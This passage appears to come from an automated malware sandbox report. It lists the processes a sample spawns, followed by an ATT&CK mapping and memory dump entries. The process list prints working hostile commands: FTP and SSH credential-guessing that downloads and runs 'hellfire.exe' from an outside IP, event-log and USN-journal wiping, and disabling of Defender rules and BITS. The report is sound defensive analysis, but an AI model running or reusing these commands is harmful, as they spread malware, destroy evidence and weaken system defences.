  PID:6624
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c del /f /s /q C:\Windows\System32\config\*.old 2>nul
  2⤵
  PID:6632
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo test>>%TEMP%\f.txt&echo welcome>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6640
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c del /f /s /q C:\Windows\System32\config\*.bak 2>nul
  2⤵
  PID:6648
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo test>>%TEMP%\f.txt&echo default>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6656
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.3>%TEMP%\f.txt&echo root>>%TEMP%\f.txt&echo 123456>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:12924
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw letmein "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:12096
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw welcome "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:35852
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw default "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:35860
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw changeme "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:35868
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw guest "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:35888
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:35908
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:35916
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw password "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:35924
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw 123456 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:35936
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw toor "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:35944
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:35952
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw pass123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:35968
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:35984
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:36000
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:36008
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw qwerty "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:36028
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw letmein "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:36040
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw welcome "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:36048
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw default "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:36064
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw changeme "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:36076
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw guest "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:36084
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:36092
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:36100
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw password "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:36112
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw 123456 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:36120
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw toor "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:36128
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:36152
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw pass123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:36164
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:36172
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:36180
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:36196
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw qwerty "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:36204
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw letmein "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:36212
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw welcome "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:36224
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw default "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:36260
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw changeme "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:36272
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw guest "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:36284
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:36300
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:36308
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw password "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:36316
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw 123456 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:36324
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw toor "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:36332
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:36340
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw pass123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:36348
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:36356
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:36364
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:36372
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw qwerty "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:36380
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.8>%TEMP%\f.txt&echo pi>>%TEMP%\f.txt&echo welcome>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:38780
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c for /f %%l in (C:\Windows\Temp\logs.txt) do @wevtutil cl "%%l" 2>nul
  2⤵
  PID:39476
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.8>%TEMP%\f.txt&echo pi>>%TEMP%\f.txt&echo default>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:38788
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.8>%TEMP%\f.txt&echo pi>>%TEMP%\f.txt&echo changeme>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:40088
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.8>%TEMP%\f.txt&echo pi>>%TEMP%\f.txt&echo guest>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:40096
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:40104
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:40112
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw password "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:40120
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw 123456 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:40128
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw toor "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:40136
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:40144
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw pass123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:40152
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:40160
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:40168
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:40176
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw qwerty "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:40184
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw letmein "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:40192
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw welcome "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:40200
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw default "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:40208
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw changeme "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:40216
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw guest "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:40224
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:40232
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:40240
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw password "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:40248
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw 123456 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:40256
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw toor "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:40264
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:40272
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw pass123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:40280
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:40288
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:40296
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c fsutil usn deletejournal /D D: 2>nul
  2⤵
  PID:40344
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c wmic pagefileset delete 2>nul
  2⤵
  PID:40360
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /f 2>nul
  2⤵
  PID:40368
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:40384
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c powershell -Command "Set-MpPreference -AttackSurfaceReductionRules_Ids '75668C1F-73B5-4CF0-BB93-6ECAD467D8E2','D4F940AB-401B-4EFC-AADC-AD5F4DB853E2','3B576869-A4EC-4529-8536-B80A7769E899','75668C1F-73B5-4CF0-BB93-6ECAD467D8E2','26190899-1602-49E8-8B27-EB1D0A1CE869','BE9BA2D9-53EA-4CDC-84E2-1A5BC6B5B5C7','01443614-CD74-433A-B99E-2ECDC57B7A8B','C1DB55AB-C21A-4D6C-8B70-1A4B8B5C5B7E','5BEB7EFC-FD7A-4E91-9C54-E0ACB5C5B5C7','92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC52','D3E037E1-3EB8-44C8-A6E0-1A5BC6B5B5C7','E6DB77E5-3644-4B5C-8B70-1A4B8B5C5B7E' -AttackSurfaceReductionRules_Actions Disable" 2>nul
  2⤵
  PID:40376
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c sc stop BITS 2>nul & sc config BITS start= disabled 2>nul & sc delete BITS 2>nul
  2⤵
  PID:40352

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1004-20-0x00007FF6C95F0000-0x00007FF6C9679000-memory.dmp

Download

memory/4144-8-0x00007FFA47B70000-0x00007FFA48514000-memory.dmp

Download

memory/4144-13-0x000001B5DFB60000-0x000001B5DFC12000-memory.dmp

Download

memory/4144-3-0x000001B5DF820000-0x000001B5DF842000-memory.dmp

Download

memory/4144-4-0x00007FFA47B70000-0x00007FFA48514000-memory.dmp

Download

memory/4144-5-0x00007FFA47B70000-0x00007FFA48514000-memory.dmp

Download

memory/4144-0-0x00007FFA47CFF000-0x00007FFA47D00000-memory.dmp

Download

memory/4144-9-0x00007FFA47B70000-0x00007FFA48514000-memory.dmp

Download

memory/4144-2-0x00007FFA47B70000-0x00007FFA48514000-memory.dmp

Download

memory/4144-12-0x000001B5DF8D0000-0x000001B5DF8EE000-memory.dmp

Download

memory/4144-14-0x00007FFA47B70000-0x00007FFA48514000-memory.dmp

Download

memory/4144-15-0x000001B5DF8F0000-0x000001B5DF8FA000-memory.dmp

Download

memory/4144-16-0x00007FFA47B70000-0x00007FFA48514000-memory.dmp

Download

memory/4144-17-0x00007FFA47B70000-0x00007FFA48514000-memory.dmp

Download

memory/4144-1-0x00007FFA47B70000-0x00007FFA48514000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads